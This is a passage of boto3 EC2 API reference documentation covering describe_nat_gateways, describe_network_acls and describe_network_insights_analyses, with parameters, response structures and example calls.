filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC in which the NAT gateway resides. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NatGatewayIds** (_list_) -- + + One or more NAT gateway IDs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NatGateways': [ + { + 'CreateTime': datetime(2015, 1, 1), + 'DeleteTime': datetime(2015, 1, 1), + 'FailureCode': 'string', + 'FailureMessage': 'string', + 'NatGatewayAddresses': [ + { + 'AllocationId': 'string', + 'NetworkInterfaceId': 'string', + 'PrivateIp': 'string', + 'PublicIp': 'string' + }, + ], + 'NatGatewayId': 'string', + 'ProvisionedBandwidth': { + 'ProvisionTime': datetime(2015, 1, 1), + 'Provisioned': 'string', + 'RequestTime': datetime(2015, 1, 1), + 'Requested': 'string', + 'Status': 'string' + }, + 'State': 'pending'|'failed'|'available'|'deleting'|'deleted', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NatGateways** _(list) --_ + + Information about the NAT gateways. + + * _(dict) --_ + + Describes a NAT gateway. + + * **CreateTime** _(datetime) --_ + + The date and time the NAT gateway was created. + + * **DeleteTime** _(datetime) --_ + + The date and time the NAT gateway was deleted, if applicable. + + * **FailureCode** _(string) --_ + + If the NAT gateway could not be created, specifies the error code for the failure. (InsufficientFreeAddressesInSubnet | Gateway.NotAttached | InvalidAllocationID.NotFound | Resource.AlreadyAssociated | InternalError | InvalidSubnetID.NotFound ) + + * **FailureMessage** _(string) --_ + + If the NAT gateway could not be created, specifies the error message for the failure, that corresponds to the error code. + + * For InsufficientFreeAddressesInSubnet: "Subnet has insufficient free addresses to create this NAT gateway" + * For Gateway.NotAttached: "Network vpc-xxxxxxxx has no Internet gateway attached" + * For InvalidAllocationID.NotFound: "Elastic IP address eipalloc-xxxxxxxx could not be associated with this NAT gateway" + * For Resource.AlreadyAssociated: "Elastic IP address eipalloc-xxxxxxxx is already associated" + * For InternalError: "Network interface eni-xxxxxxxx, created and used internally by this NAT gateway is in an invalid state. Please try again." + * For InvalidSubnetID.NotFound: "The specified subnet subnet-xxxxxxxx does not exist or could not be found." + * **NatGatewayAddresses** _(list) --_ + + Information about the IP addresses and network interface associated with the NAT gateway. + + * _(dict) --_ + + Describes the IP addresses and network interface associated with a NAT gateway. + + * **AllocationId** _(string) --_ + + The allocation ID of the Elastic IP address that's associated with the NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface associated with the NAT gateway. + + * **PrivateIp** _(string) --_ + + The private IP address associated with the Elastic IP address. + + * **PublicIp** _(string) --_ + + The Elastic IP address associated with the NAT gateway. + + * **NatGatewayId** _(string) --_ + + The ID of the NAT gateway. + + * **ProvisionedBandwidth** _(dict) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **ProvisionTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Provisioned** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **RequestTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Requested** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Status** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **State** _(string) --_ + + The state of the NAT gateway. + + * pending : The NAT gateway is being created and is not ready to process traffic. + * failed : The NAT gateway could not be created. Check the failureCode and failureMessage fields for the reason. + * available : The NAT gateway is able to process traffic. This status remains until you delete the NAT gateway, and does not indicate the health of the NAT gateway. + * deleting : The NAT gateway is in the process of being terminated and may still be processing traffic. + * deleted : The NAT gateway has been terminated and is no longer processing traffic. + * **SubnetId** _(string) --_ + + The ID of the subnet in which the NAT gateway is located. + + * **VpcId** _(string) --_ + + The ID of the VPC in which the NAT gateway is located. + + * **Tags** _(list) --_ + + The tags for the NAT gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the NAT gateway for the specified VPC. + +response = client.describe_nat_gateways( + Filter=[ + { + 'Name': 'vpc-id', + 'Values': [ + 'vpc-1a2b3c4d', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'NatGateways': [ + { + 'CreateTime': datetime(2015, 12, 1, 12, 26, 55, 1, 335, 0), + 'NatGatewayAddresses': [ + { + 'AllocationId': 'eipalloc-89c620ec', + 'NetworkInterfaceId': 'eni-9dec76cd', + 'PrivateIp': '10.0.0.149', + 'PublicIp': '198.11.222.333', + }, + ], + 'NatGatewayId': 'nat-05dba92075d71c408', + 'State': 'available', + 'SubnetId': 'subnet-847e4dc2', + 'VpcId': 'vpc-1a2b3c4d', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_network_acls(kwargs_) + +Describes one or more of your network ACLs. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +response = client.describe_network_acls( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * association.association-id - The ID of an association ID for the ACL. + * association.network-acl-id - The ID of the network ACL involved in the association. + * association.subnet-id - The ID of the subnet involved in the association. + * default - Indicates whether the ACL is the default network ACL for the VPC. + * entry.cidr - The IPv4 CIDR range specified in the entry. + * entry.icmp.code - The ICMP code specified in the entry, if any. + * entry.icmp.type - The ICMP type specified in the entry, if any. + * entry.ipv6-cidr - The IPv6 CIDR range specified in the entry. + * entry.port-range.from - The start of the port range specified in the entry. + * entry.port-range.to - The end of the port range specified in the entry. + * entry.protocol - The protocol specified in the entry (tcp | udp | icmp or a protocol number). + * entry.rule-action - Allows or denies the matching traffic (allow | deny ). + * entry.rule-number - The number of an entry (in other words, rule) in the set of ACL entries. + * network-acl-id - The ID of the network ACL. + * owner-id - The ID of the AWS account that owns the network ACL. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC for the network ACL. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkAcls': [ + { + 'Associations': [ + { + 'NetworkAclAssociationId': 'string', + 'NetworkAclId': 'string', + 'SubnetId': 'string' + }, + ], + 'Entries': [ + { + 'CidrBlock': 'string', + 'Egress': True|False, + 'IcmpTypeCode': { + 'Code': 123, + 'Type': 123 + }, + 'Ipv6CidrBlock': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'allow'|'deny', + 'RuleNumber': 123 + }, + ], + 'IsDefault': True|False, + 'NetworkAclId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkAcls** _(list) --_ + + Information about one or more network ACLs. + + * _(dict) --_ + + Describes a network ACL. + + * **Associations** _(list) --_ + + Any associations between the network ACL and one or more subnets + + * _(dict) --_ + + Describes an association between a network ACL and a subnet. + + * **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + * **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **Entries** _(list) --_ + + One or more entries (rules) in the network ACL. + + * _(dict) --_ + + Describes an entry in a network ACL. + + * **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + * **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + * **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + * **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + * **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + * **IsDefault** _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + * **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + * **Tags** _(list) --_ + + Any tags assigned to the network ACL. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC for the network ACL. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the network ACL. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified network ACL. + +response = client.describe_network_acls( + NetworkAclIds=[ + 'acl-5fb85d36', + ], +) + +print(response) + +Expected Output: + +{ + 'NetworkAcls': [ + { + 'Associations': [ + { + 'NetworkAclAssociationId': 'aclassoc-66ea5f0b', + 'NetworkAclId': 'acl-9aeb5ef7', + 'SubnetId': 'subnet-65ea5f08', + }, + ], + 'Entries': [ + { + 'CidrBlock': '0.0.0.0/0', + 'Egress': True, + 'Protocol': '-1', + 'RuleAction': 'deny', + 'RuleNumber': 32767, + }, + { + 'CidrBlock': '0.0.0.0/0', + 'Egress': False, + 'Protocol': '-1', + 'RuleAction': 'deny', + 'RuleNumber': 32767, + }, + ], + 'IsDefault': False, + 'NetworkAclId': 'acl-5fb85d36', + 'Tags': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_network_insights_analyses(kwargs_) + +Describes one or more of your network insights analyses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInsightsAnalyses) + +**Request Syntax** + +response = client.describe_network_insights_analyses( + NetworkInsightsAnalysisIds=[ + 'string', + ], + NetworkInsightsPathId='string', + AnalysisStartTime=datetime(2015, 1, 1), + AnalysisEndTime=datetime(2015, 1, 1), + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + DryRun=True|False, + NextToken='string' +) + +Parameters + +* **NetworkInsightsAnalysisIds** (_list_) -- + + The ID of the network insights analyses. You must specify either analysis IDs or a path ID. + + * _(string) --_ +* **NetworkInsightsPathId** (_string_) -- The ID of the path. You must specify either a path ID or analysis IDs. +* **AnalysisStartTime** (_datetime_) -- The time when the network insights analyses started. +* **AnalysisEndTime** (_datetime_) -- The time when the network insights analyses ended. +* **Filters** (_list_) -- + + The filters. The following are possible values: + + * PathFound - A Boolean value that indicates whether a feasible path is found. + * Status - The status of the analysis (running | succeeded | failed). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsAnalyses': [ + { + 'NetworkInsightsAnalysisId': 'string', + 'NetworkInsightsAnalysisArn': 'string', + 'NetworkInsightsPathId': 'string', + 'FilterInArns': [ + 'string', + ], + 'StartDate': datetime(2015, 1, 1), + 'Status': 'running'|'succeeded'|'failed', + 'StatusMessage': 'string', + 'NetworkPathFound': True|False, + 'ForwardPathComponents': [ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'InboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'ReturnPathComponents': [ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'InboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'Explanations': [ + { + 'Acl': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Address': 'string', + 'Addresses': [ + 'string', + ], + 'AttachedTo': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AvailabilityZones': [ + 'string', + ], + 'Cidrs': [ + 'string', + ], + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'CustomerGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Destination': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Direction': 'string', + 'ExplanationCode': 'string', + 'IngressRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'InternetGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerArn': 'string', + 'ClassicLoadBalancerListener': { + 'LoadBalancerPort': 123, + 'InstancePort': 123 + }, + 'LoadBalancerListenerPort': 123, + 'LoadBalancerTarget': { + 'Address': 'string', + 'AvailabilityZone': 'string', + 'Instance': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123 + }, + 'LoadBalancerTargetGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerTargetGroups': [ + { + 'Id': 'string', + 'Arn': 'string' + }, + ], + 'LoadBalancerTargetPort': 123, + 'ElasticLoadBalancerListener': { + 'Id': 'string', + 'Arn': 'string' + }, + 'MissingComponent': 'string', + 'NatGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'NetworkInterface': { + 'Id': 'string', + 'Arn': 'string' + }, + 'PacketField': 'string', + 'VpcPeeringConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123, + 'PortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'PrefixList': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Protocols': [ + 'string', + ], + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'RouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SecurityGroups': [ + { + 'Id': 'string', + 'Arn': 'string' + }, + ], + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'State': 'string', + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SubnetRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpcEndpoint': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnGateway': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'AlternatePathHints': [ + { + 'ComponentId': 'string', + 'ComponentArn': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsAnalyses** _(list) --_ + + Information about the network insights analyses. + + * _(dict) --_ + + Describes a network insights analysis. + + * **NetworkInsightsAnalysisId** _(string) --_ + + The ID of the network insights analysis. + + * **NetworkInsightsAnalysisArn** _(string) --_ + + The Amazon Resource Name (ARN) of the network insights analysis. + + * **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + * **FilterInArns** _(list) --_ + + The Amazon Resource Names (ARN) of the AWS resources that the path must traverse. + + * _(string) --_ + * **StartDate** _(datetime) --_ + + The time the analysis started. + + * **Status** _(string) --_ + + The status of the network insights analysis. + + * **StatusMessage** _(string) --_ + + The status message, if the status is failed . + + * **NetworkPathFound** _(boolean) --_ + + Indicates whether the destination is reachable from the source. + + * **ForwardPathComponents** _(list) --_ + + The components in the path from source to destination. + + * _(dict) --_ + + Describes a path component. + + * **SequenceNumber** _(integer) --_ + + The sequence number. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **OutboundHeader** _(dict) --_ + + The outbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **InboundHeader** _(dict) --_ + + The inbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **ReturnPathComponents** _(list) --_ + + The components in the path from destination to source. + + * _(dict) --_ + + Describes a path component. + + * **SequenceNumber** _(integer) --_ + + The sequence number. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **OutboundHeader** _(dict) --_ + + The outbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **InboundHeader** _(dict) --_ + + The inbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The 